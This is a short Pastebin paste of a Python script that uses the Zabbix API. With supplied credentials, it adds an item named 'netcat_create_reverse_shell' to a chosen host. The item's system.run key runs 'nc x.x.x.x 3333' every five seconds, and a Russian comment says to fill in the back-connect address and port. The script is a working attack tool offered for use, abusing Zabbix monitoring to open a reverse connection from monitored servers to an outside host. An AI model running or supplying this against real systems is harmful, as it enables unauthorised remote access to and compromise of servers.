Advertisement
Guest User

Untitled

a guest
May 24th, 2018
342
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.19 KB | None | 0 0
  1. from pyzabbix import ZabbixAPI, ZabbixAPIException
  2.  
  3. import sys
  4.  
  5. api_address=raw_input("enter correct URL to api_jsonrpc.php, like http://x.x.x.x/zabbix/api_jsonrpc.php"": \n")
  6.  
  7. user= raw_input("enter username: \n")
  8.  
  9. password= raw_input("enter password: \n")
  10.  
  11. hostname=raw_input("enter hostname: \n")
  12.  
  13. # hostid=raw_input("enter hostid: \n")
  14.  
  15. #zapi = ZabbixAPI(api_address)
  16.  
  17. # Login to the Zabbix API
  18.  
  19. #zapi.login(user, password)
  20.  
  21. zapi = ZabbixAPI(url=api_address, user=user, password=password)
  22.  
  23. host_name = hostname
  24.  
  25. hosts = zapi.host.get(filter={"host": host_name}, selectInterfaces=["interfaceid"])
  26.  
  27. if hosts:
  28.  
  29. host_id = hosts[0]["hostid"]
  30.  
  31. print("Found host id {0}".format(host_id))
  32.  
  33. try:
  34.  
  35. item = zapi.item.create(
  36.  
  37. hostid=host_id,
  38.  
  39. name='netcat_create_reverse_shell',
  40.  
  41. key_='system.run["nc x.x.x.x 3333"]', # тут указываем адрес и порт для бэк коннекта
  42.  
  43. type=0,
  44.  
  45. value_type=4,
  46.  
  47. interfaceid=hosts[0]["interfaces"][0]["interfaceid"],
  48.  
  49. delay=5
  50.  
  51. )
  52.  
  53. except ZabbixAPIException as e:
  54.  
  55. print(e)
  56.  
  57. sys.exit()
  58.  
  59. print("Added item with itemid {0} to host: {1}".format(item["itemids"][0], host_name))
  60.  
  61. else:
  62.  
  63. print("No hosts found")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement